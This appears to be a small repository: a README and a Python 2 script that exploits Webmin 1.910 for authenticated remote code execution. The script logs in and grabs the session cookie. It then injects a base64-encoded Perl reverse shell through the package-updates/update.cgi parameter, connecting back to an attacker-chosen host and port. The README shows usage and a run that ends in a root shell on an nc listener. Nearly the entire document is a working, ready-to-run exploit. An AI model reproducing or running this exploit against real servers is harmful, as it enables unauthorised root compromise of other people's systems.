├── README.md └── webmin_exploit.py /README.md: -------------------------------------------------------------------------------- 1 | # Webmin-1.910-Exploit-Script 2 | #### Webmin 1.910 - Remote Code Execution Using Python Script 3 | 4 | # Usage 5 | 6 | ``` 7 | usage: webmin_exploit.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST 8 | [--lport LPORT] [-u USER] -p PASSWORD [-t TARGETURI] 9 | [-s SSL] 10 | 11 | Webmin 1.910 - Remote Code Execution using, python script 12 | 13 | optional arguments: 14 | -h, --help show this help message and exit 15 | --rhost RHOST Ip address of the webmin server 16 | --rport RPORT target webmin port, default 10000 17 | --lhost LHOST Local ip address to listen for the reverse shell 18 | --lport LPORT The Bind port for the reverse shell Default is 4444 19 | -u USER, --user USER The username to use for authentication By default is 20 | admin 21 | -p PASSWORD, --password PASSWORD 22 | The password to use for authentication 23 | -t TARGETURI, --TARGETURI TARGETURI 24 | Base path for Webmin application. By default set to 25 | "/" 26 | -s SSL, --SSL SSL Negotiate SSL/TLS for outgoing connections. By default 27 | ssl is set to False 28 | ``` 29 | 30 | 31 | # Poc 32 | 33 | ``` 34 | $ python webmin_exploit.py --rhost 10.x.x.x --lhost 127.0.0.1 -p admin -u admin -s True --lport 9001 35 | ****************************** Webmin 1.910 Exploit By roughiz******************************* 36 | ********************************************************************************************* 37 | ********************************************************************************************* 38 | ********************************************************************************************* 39 | ****************************** Retrieve Cookies sid ***************************************** 40 | 41 | 42 | ********** [+] [Exploit] The Cookie is b41b644a221d6d7b14d4b5e23012dddd 43 | 44 | ******************************************************************************************** 45 | ****************************** Create payload and Exploit *********************************** 46 | 47 | 48 | 49 | 50 | ********** [+] [Exploit] Verify you nc listener on port 9001 for the incomming reverse shell 51 | 52 | ``` 53 | 54 | ### From listener 55 | ``` 56 | $ nc -lvp 9001 57 | Listening on [0.0.0.0] (family 0, port 9001) 58 | Connection from 10.x.x.x 39126 received! 59 | id 60 | uid=0(root) gid=0(root) groups=0(root) 61 | ``` 62 | 63 | 64 | -------------------------------------------------------------------------------- /webmin_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf8 -*- 3 | import requests 4 | import urllib3 5 | urllib3.disable_warnings() 6 | import argparse 7 | import sys 8 | from termcolor import colored 9 | 10 | 11 | arg_parser = argparse.ArgumentParser(description='Webmin 1.910 - Remote Code Execution using, python script') 12 | arg_parser.add_argument('--rhost', dest='rhost', help='Ip address of the webmin server', type=str, required=True) 13 | arg_parser.add_argument("--rport", dest="rport", type=int, help="target webmin port, default 10000", default=10000) 14 | arg_parser.add_argument('--lhost', dest='lhost', help='Local ip address to listen for the reverse shell', type=str, required=True) 15 | arg_parser.add_argument("--lport", dest="lport", type=int, help="The Bind port for the reverse shell\n Default is 4444", default=4444) 16 | arg_parser.add_argument('-u','--user', dest='user', help='The username to use for authentication\n By default is admin', default='admin', type=str) 17 | arg_parser.add_argument('-p','--password', dest='password', help='The password to use for authentication', required=True, type=str) 18 | arg_parser.add_argument('-t','--TARGETURI', dest='targeturi', help='Base path for Webmin application. By default set to "/"', default='/',type=str) 19 | arg_parser.add_argument('-s','--SSL', dest='ssl', help='Negotiate SSL/TLS for outgoing connections. By default ssl is set to False', default='False',type=str) 20 | args = arg_parser.parse_args() 21 | 22 | # proxy set for test 23 | proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'} 24 | # retrieve the Cookies sid: 25 | print colored('****************************** Webmin 1.910 Exploit By roughiz*******************************', "blue") 26 | print colored('*********************************************************************************************', "blue") 27 | print colored('*********************************************************************************************', "blue") 28 | print colored('*********************************************************************************************', "blue") 29 | print colored('****************************** Retrieve Cookies sid *****************************************', "blue") 30 | 31 | req={'page':'','user':args.user,'pass':args.password} 32 | if args.ssl.lower() in ('yes', 'true', 't', 'y', '1'): 33 | url="https://"+args.rhost+":"+str(args.rport)+args.targeturi 34 | else: 35 | url="http://"+args.rhost+":"+str(args.rport)+args.targeturi 36 | 37 | resu=requests.post(url+"session_login.cgi",data=req, cookies={"testing":"1"}, verify=False, allow_redirects=False) 38 | if "This web server is running in SSL mode" in resu.content: 39 | print colored('********** [+] [Exploit][ERROR] Enable the ssl arg !!', "red") 40 | print(resu.content) 41 | sys.exit(1) 42 | if "sid" in resu.headers['Set-Cookie']: 43 | sid= resu.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip() 44 | print("\n") 45 | print colored('********** [+] [Exploit] The Cookie is '+sid, "green") 46 | else: 47 | print colored('********** [+] [Exploit][ERROR] The authentication to the webmin server failed', "red") 48 | sys.exit(1) 49 | 50 | print("") 51 | print colored('********************************************************************************************', "blue") 52 | print colored('****************************** Create payload and Exploit ***********************************', "blue") 53 | print("\n") 54 | 55 | # Templateofthe payload 56 | template="perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,\""+args.lhost+":"+str(args.lport)+"\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'" 57 | b64payload = template.encode('base64').replace('\n', '').strip() 58 | payload=' | bash -c "{echo,'+b64payload+'}|{base64,-d}|{bash,-i}"' 59 | 60 | ## request the payload 61 | req={'u':['acl/apt',payload]} 62 | headers= {'Connection': 'close','referer': url+"package-updates/?xnavigation=1"} 63 | 64 | try: 65 | resu=requests.post(url+"package-updates/update.cgi",data=req, cookies={"sid":sid}, verify=False, allow_redirects=False, headers=headers, timeout=10) 66 | except requests.Timeout: 67 | pass 68 | except requests.ConnectionError: 69 | pass 70 | print('\n') 71 | print colored('********** [+] [Exploit] Verify you nc listener on port '+str(args.lport)+' for the incomming reverse shell', "green") 72 | --------------------------------------------------------------------------------